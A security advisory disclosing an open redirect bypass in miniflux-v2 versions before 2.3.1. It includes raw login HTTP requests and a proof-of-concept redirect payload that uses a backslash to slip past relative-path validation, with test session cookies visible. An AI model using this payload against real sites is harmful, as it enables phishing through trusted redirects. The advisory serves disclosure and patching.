GHSA-m999-j542-5w3r Open Redirect Bypass in miniflux-v2

• Go miniflux.app/v2: < 2.3.1 → fixed in 2.3.1

Summary The URL restrictions in `miniflux-v2` can be bypassed by attackers, leading to an open redirect vulnerability. Details Normally, the redirect URL needs to be validated using `IsRelativePath`. There are some security measures in place, such as requiring relative paths, prohibiting host and schema entries, and rejecting proof-of-concept (PoC) entries like `//fushuling.com`. However, these measures can still be bypassed. For a proof-of-concept (PoC) like `/\fushuling.com`, it lacks host and netloc fields and doesn't start with `//`, but during the actual browser redirection, the backslash is automatically parsed as a forward slash, ultimately redirecting to the external address `https://fushuling.com`, thus bypassing existing protections. For PoCs like `//fushuling.com`, the existing logic successfully detects and resolves to `/unread`, effectively preventing attacks. ``` POST /login HTTP/1.1 Host: 127.0.0.1:8081 Content-Length: 92 Cache-Control: max-age=0 sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=F5GAIDVFDZVTOTOWBLWKXCRNIE.HUQLKF4BMK42KUAM3N2VK4MA45 Connection: close csrf=CYJ2SHTG7AYLMFW6TMTLRR4K54&redirect_url=//fushuling.com&username=admin&password=test123 ``` However, when the attacker specified the redirect URL as `/\fushuling.com`, the URL successfully bypassed the detection and set the location to /\fushuling.com. ``` POST /login HTTP/1.1 Host: 127.0.0.1:8081 Content-Length: 92 Cache-Control: max-age=0 sec-ch-ua: "Not(A:Brand";v="24", "Chromium";v="122" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: null Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: cw_conversation=eyJhbGciOiJIUzI1NiJ9.eyJzb3VyY2VfaWQiOiI1NTlhZGZkNS0wMTMxLTRjOWUtYjJmMi1kZTQ4YzFmMzUwODMiLCJpbmJveF9pZCI6NTI3NTUsImV4cCI6MTc5MTk3MzU4OCwiaWF0IjoxNzc2NDIxNTg4fQ._8EAAv62saWBzO54yUJCbASbjbrNdMsYEC49blqJwQM; casdoor_session_id=cc333aee41d646565c1bde0bba532991; SSID=EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE.KKPgzj5eEsDglYQXFeERpo7F97-phtpOsQL0Sh9e_EA; sid=Q5hex9PpdqFKeVL41zT4W9DqyBnMJhVO; MinifluxSessionID=54R3C5MYFRCW7JVL2WUP5GFW4Z.3FLK5B4S7R3O6ZRACB7A3B2RG5 Connection: close csrf=QC7PJNLRRDHSF6OZPXFVPKAXEO&redirect_url=/\fushuling.com&username=admin&password=test123 ``` In the actual browser redirection, the URL successfully redirected to `https://fushuling.com`, thus bypassing the restrictions and achieving an open redirect attack. PoC ``` /\fushuling.com ``` Impact Open Redirect